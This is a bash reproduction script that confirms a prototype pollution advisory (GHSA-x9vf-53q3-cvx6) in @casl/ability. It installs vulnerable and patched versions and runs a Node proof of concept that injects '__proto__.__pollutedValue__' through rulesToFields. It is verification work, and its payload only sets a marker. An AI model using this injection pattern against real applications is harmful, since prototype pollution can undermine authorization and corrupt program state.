#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

echo "=========================================="
echo "CASL Ability Prototype Pollution (GHSA-x9vf-53q3-cvx6)"
echo "=========================================="
echo ""

# Create test directory
mkdir -p test_vuln
cd test_vuln

# Initialize npm project if not exists
if [ ! -f package.json ]; then
  npm init -y 2>/dev/null || true
fi

echo "[1/4] Installing VULNERABLE version @casl/ability@6.7.3..."
npm install @casl/ability@6.7.3 --save 2>&1 | tee "$LOGS/npm_install_vuln.log"

echo ""
echo "[2/4] Testing prototype pollution in vulnerable version..."

# Create test script for vulnerable version
cat > test_vuln.js << 'EOF'
const { defineAbility } = require('@casl/ability');
const { rulesToFields } = require('@casl/ability/extra');

// Check if prototype is clean before test
const beforePollution = ({}).__pollutedValue__;
console.log('Before test: ({}).__pollutedValue__ =', beforePollution);

// Create ability with malicious condition containing prototype pollution payload
const ability = defineAbility((can) => {
  // This should pollute Object.prototype with __pollutedValue__ = 1
  can('read', 'Post', { '__proto__.__pollutedValue__': 1 });
});

// Call rulesToFields which uses setByPath internally
const fields = rulesToFields(ability, 'read', 'Post');

// Check if pollution occurred
const afterPollution = ({}).__pollutedValue__;
console.log('After rulesToFields: ({}).__pollutedValue__ =', afterPollution);
console.log('Returned fields:', JSON.stringify(fields));

if (afterPollution === 1) {
  console.log('\n[FAIL] Prototype pollution confirmed! Object.prototype was polluted.');
  process.exit(0); // Vulnerability confirmed
} else {
  console.log('\n[PASS] No prototype pollution detected (might already be patched).');
  process.exit(1); // No vulnerability
}
EOF

node test_vuln.js 2>&1 | tee "$LOGS/test_vulnerable.log"
VULN_EXIT=${PIPESTATUS[0]}

echo ""
echo "[3/4] Installing PATCHED version @casl/ability@6.7.5..."
npm install @casl/ability@6.7.5 --save 2>&1 | tee "$LOGS/npm_install_fixed.log"

echo ""
echo "[4/4] Verifying fix in patched version..."

# Create test script for fixed version
cat > test_fixed.js << 'EOF'
const { defineAbility } = require('@casl/ability');
const { rulesToFields } = require('@casl/ability/extra');

// Clean up any pollution from previous test
delete Object.prototype.__pollutedValue__;

// Check if prototype is clean before test
const beforePollution = ({}).__pollutedValue__;
console.log('Before test: ({}).__pollutedValue__ =', beforePollution);

// Create ability with malicious condition
const ability = defineAbility((can) => {
  can('read', 'Post', { '__proto__.__pollutedValue__': 1 });
});

// Call rulesToFields
const fields = rulesToFields(ability, 'read', 'Post');

// Check if pollution occurred
const afterPollution = ({}).__pollutedValue__;
console.log('After rulesToFields: ({}).__pollutedValue__ =', afterPollution);
console.log('Returned fields:', JSON.stringify(fields));

if (afterPollution === undefined) {
  console.log('\n[PASS] Fix confirmed! Object.prototype was NOT polluted.');
  process.exit(0); // Fix confirmed
} else {
  console.log('\n[FAIL] Prototype still polluted in fixed version!');
  process.exit(1); // Fix not working
}
EOF

node test_fixed.js 2>&1 | tee "$LOGS/test_fixed.log"
FIXED_EXIT=${PIPESTATUS[0]}

echo ""
echo "=========================================="
echo "SUMMARY"
echo "=========================================="

if [ $VULN_EXIT -eq 0 ] && [ $FIXED_EXIT -eq 0 ]; then
  echo "✓ Vulnerable version (6.7.3) shows prototype pollution"
  echo "✓ Fixed version (6.7.5) prevents prototype pollution"
  echo ""
  echo "GHSA-x9vf-53q3-cvx6 CONFIRMED"
  exit 0
else
  echo "✗ Unexpected results"
  echo "  Vulnerable test exit code: $VULN_EXIT"
  echo "  Fixed test exit code: $FIXED_EXIT"
  exit 1
fi
